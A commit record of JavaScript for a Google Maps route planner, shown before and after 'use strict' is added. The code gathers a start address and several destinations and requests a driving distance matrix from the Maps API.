  var mapOptions = {
    center: new google.maps.LatLng(40.006756,-105.263618),
    zoom: 13
  };
  var map = new google.maps.Map(document.getElementById("map-canvas"),
      mapOptions);
  directionsDisplay.setMap(map);
}

calcRoute = function() {
  var start = document.getElementById('startaddr').value;
  var waypoints = document.getElementById('destaddr').value.split('\n');
  // Strip off leading and trailing whitespace.
  waypoints = waypoints.map(function(value) {
    return value.replace(/^\s+/, '').replace(/\s+$/, '');
  });
  var addresses = [start].concat(waypoints);
  // Remove empty addresses.
  waypoints = waypoints.filter(function(value) { return value; });
  var dmRequest = {
    origins: addresses,
    destinations: addresses,
    travelMode: google.maps.TravelMode.DRIVING
  };

  distanceMatrixService.getDistanceMatrix(dmRequest,
      function(dmResponse, dmStatus) {
        console.log(dmResponse);
        console.log(dmStatus);
      });
  /*
  var request = {
    origin:start,
    destination:end,
    travelMode: google.maps.TravelMode.DRIVING
  };
  directionsService.route(request, function(response, status) {
    if (status == google.maps.DirectionsStatus.OK) {
      directionsDisplay.setDirections(response);
    }
  });
  */
}
<commit_msg>Added 'use strict' to JavaScript<commit_after>'use strict';
var directionsDisplay;
var directionsService = new google.maps.DirectionsService();
var distanceMatrixService = new google.maps.DistanceMatrixService();
var map;

/**
 * Called when the page is loaded and performs all needed initialization.
 */
function initialize() {
  directionsDisplay = new google.maps.DirectionsRenderer();
  var mapOptions = {
    center: new google.maps.LatLng(40.006756,-105.263618),
    zoom: 13
  };
  var map = new google.maps.Map(document.getElementById('map-canvas'),
      mapOptions);
  directionsDisplay.setMap(map);
}

function calcRoute() {
  var start = document.getElementById('startaddr').value;
  var waypoints = document.getElementById('destaddr').value.split('\n');
  // Strip off leading and trailing whitespace.
  waypoints = waypoints.map(function(value) {
    return value.replace(/^\s+/, '').replace(/\s+$/, '');
  });
  var addresses = [start].concat(waypoints);
  // Remove empty addresses.
  waypoints = waypoints.filter(function(value) { return value; });
  var dmRequest = {
    origins: addresses,
    destinations: addresses,
    travelMode: google.maps.TravelMode.DRIVING
  };

  distanceMatrixService.getDistanceMatrix(dmRequest,
      function(dmResponse, dmStatus) {
        console.log(dmResponse);
        console.log(dmStatus);
      });
  /*
  var request = {
    origin:start,
    destination:end,
    travelMode: google.maps.TravelMode.DRIVING
  };
  directionsService.route(request, function(response, status) {
    if (status == google.maps.DirectionsStatus.OK) {
      directionsDisplay.setDirections(response);
    }
  });
  */
}
<|endoftext|>